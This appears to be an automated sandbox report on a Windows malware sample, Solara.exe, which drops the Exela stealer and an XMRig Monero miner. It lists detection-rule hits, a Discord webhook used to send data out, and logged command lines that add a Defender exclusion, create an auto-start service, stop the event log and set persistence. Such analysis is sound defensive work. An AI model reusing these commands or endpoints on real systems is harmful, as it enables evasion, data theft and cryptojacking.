Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Solara.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Solara.exe, ProcessId: 5852, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Solara

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Exela.exe, ProcessId: 2980, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\Solara.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\Solara.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\Solara.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , ProcessId: 2044, ProcessName: Solara.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Solara.exe, ParentProcessId: 2044, ParentProcessName: Solara.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto", ProcessId: 4304, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc, CommandLine: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc, ProcessId: 6648, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Solara.exe, ParentProcessId: 2044, ParentProcessName: Solara.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 4864, ProcessName: sc.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T07:10:50.120905+0100	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.7	62230	1.1.1.1	53	UDP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T07:10:24.458989+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.7	49857	80.240.16.67	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Solara.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	ReversingLabs: Detection: 47%
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: Solara.exe

ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: Solara.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Found strings related to Crypto-Mining

Source: conhost.exe

String found in binary or memory: cryptonight-monerov7

Source: Solara.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Solara.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: Exela.exe
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_N source: Exela.exe
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: Exela.exe

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE983B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	76_2_00007FF75AE983B0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE992F0 FindFirstFileExW,FindClose,	76_2_00007FF75AE992F0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	76_2_00007FF75AEB18E4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE992F0 FindFirstFileExW,FindClose,	77_2_00007FF75AE992F0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE983B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	77_2_00007FF75AE983B0

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.7:62230 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.7:49857 -> 80.240.16.67:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: api.gofile.ioAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.11.11
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: /Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.11.11

Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discordapp.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store1.gofile.io

Source: unknown

HTTP traffic detected: POST /api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9 HTTP/1.1Host: discordapp.comContent-Type: application/jsonAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.11.11Content-Length: 1379

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.1Date: Sun, 12 Jan 2025 06:11:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 14Connection: closeAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEADAccess-Control-Allow-Credentials: trueContent-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requestsCross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: cross-originOrigin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsX-Content-Type-Options: nosniffX-DNS-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 0ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"X-Robots-Tag: noindex, nofollow

Source: powershell.exe, 00000003.00000002.1458447080.000001F9EFBD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1674670295.0000025669D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 00000003.00000002.1440404382.000001F990071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1405932041.000001F980229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1405932041.000001F980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1405932041.000001F980229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000003.00000002.1405932041.000001F980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Exela.exe	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Exela.exe	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: Exela.exe	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: Exela.exe	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: powershell.exe, 00000003.00000002.1440404382.000001F990071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LIJDSFKJZG.xlsx
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LIJDSFKJZG.xlsx
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\AQRFEVRTGL.xlsx
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\AQRFEVRTGL.xlsx
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HMPPSXQPQV.pdf

System Summary

Malicious sample detected (through community Yara rule)

Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Writes or reads registry keys via WMI

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Windows\System32\conhost.exe

Code function: 64_2_0000000140001394 NtOpenSection,

64_2_0000000140001394

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

File created: C:\Windows\TEMP\ypynqohyxqjk.sys

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_2244occl.ell.ps1

Source: C:\Users\user\Desktop\Solara.exe	Code function: 1_2_00007FFAAC340A21	1_2_00007FFAAC340A21
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC4230E9	8_2_00007FFAAC4230E9
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140003240	64_2_0000000140003240
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_00000001400027D0	64_2_00000001400027D0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE98BD0	76_2_00007FF75AE98BD0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB5C70	76_2_00007FF75AEB5C70
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB69D4	76_2_00007FF75AEB69D4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB0938	76_2_00007FF75AEB0938
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE91000	76_2_00007FF75AE91000
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA1BC0	76_2_00007FF75AEA1BC0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9A34B	76_2_00007FF75AE9A34B
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9A4E4	76_2_00007FF75AE9A4E4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB0938	76_2_00007FF75AEB0938
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB6488	76_2_00007FF75AEB6488
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA2C80	76_2_00007FF75AEA2C80
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB3C80	76_2_00007FF75AEB3C80
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA3A14	76_2_00007FF75AEA3A14
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA21D4	76_2_00007FF75AEA21D4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA19B4	76_2_00007FF75AEA19B4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA8154	76_2_00007FF75AEA8154
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB411C	76_2_00007FF75AEB411C
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEADACC	76_2_00007FF75AEADACC
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA8804	76_2_00007FF75AEA8804
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA1FD0	76_2_00007FF75AEA1FD0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA17B0	76_2_00007FF75AEA17B0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB9798	76_2_00007FF75AEB9798
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEADF60	76_2_00007FF75AEADF60
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB18E4	76_2_00007FF75AEB18E4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE99870	76_2_00007FF75AE99870
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA3610	76_2_00007FF75AEA3610
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEAE5E0	76_2_00007FF75AEAE5E0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA1DC4	76_2_00007FF75AEA1DC4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA5DA0	76_2_00007FF75AEA5DA0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AE9AD1D	76_2_00007FF75AE9AD1D
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEA9F10	76_2_00007FF75AEA9F10
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 76_2_00007FF75AEB5EEC	76_2_00007FF75AEB5EEC
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE9A34B	77_2_00007FF75AE9A34B
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AEB69D4	77_2_00007FF75AEB69D4
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE91000	77_2_00007FF75AE91000
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AE98BD0	77_2_00007FF75AE98BD0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FF75AEA1BC0	77_2_00007FF75AEA1BC0
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08031880	77_2_00007FFB08031880
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB084A3230	77_2_00007FFB084A3230
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB081511CC	77_2_00007FFB081511CC
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08154C14	77_2_00007FFB08154C14
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08304A10	77_2_00007FFB08304A10
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08152FCC	77_2_00007FFB08152FCC
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08154A54	77_2_00007FFB08154A54
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB081526E9	77_2_00007FFB081526E9
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0815592F	77_2_00007FFB0815592F
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08151140	77_2_00007FFB08151140
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB081522FC	77_2_00007FFB081522FC
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08151217	77_2_00007FFB08151217
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB081510AA	77_2_00007FFB081510AA
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0815362F	77_2_00007FFB0815362F
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0815659B	77_2_00007FFB0815659B
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08151F96	77_2_00007FFB08151F96
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08154403	77_2_00007FFB08154403

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: String function: 00007FFB08152734 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: String function: 00007FF75AE92710 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: String function: 00007FFB08154057 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: String function: 00007FFB08151EF1 appears 182 times
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: String function: 00007FFB08152A04 appears 41 times

Source: _overlapped.pyd.76.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.76.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.76.dr

Static PE information: No import functions for PE file found

Source: Solara.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 66.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
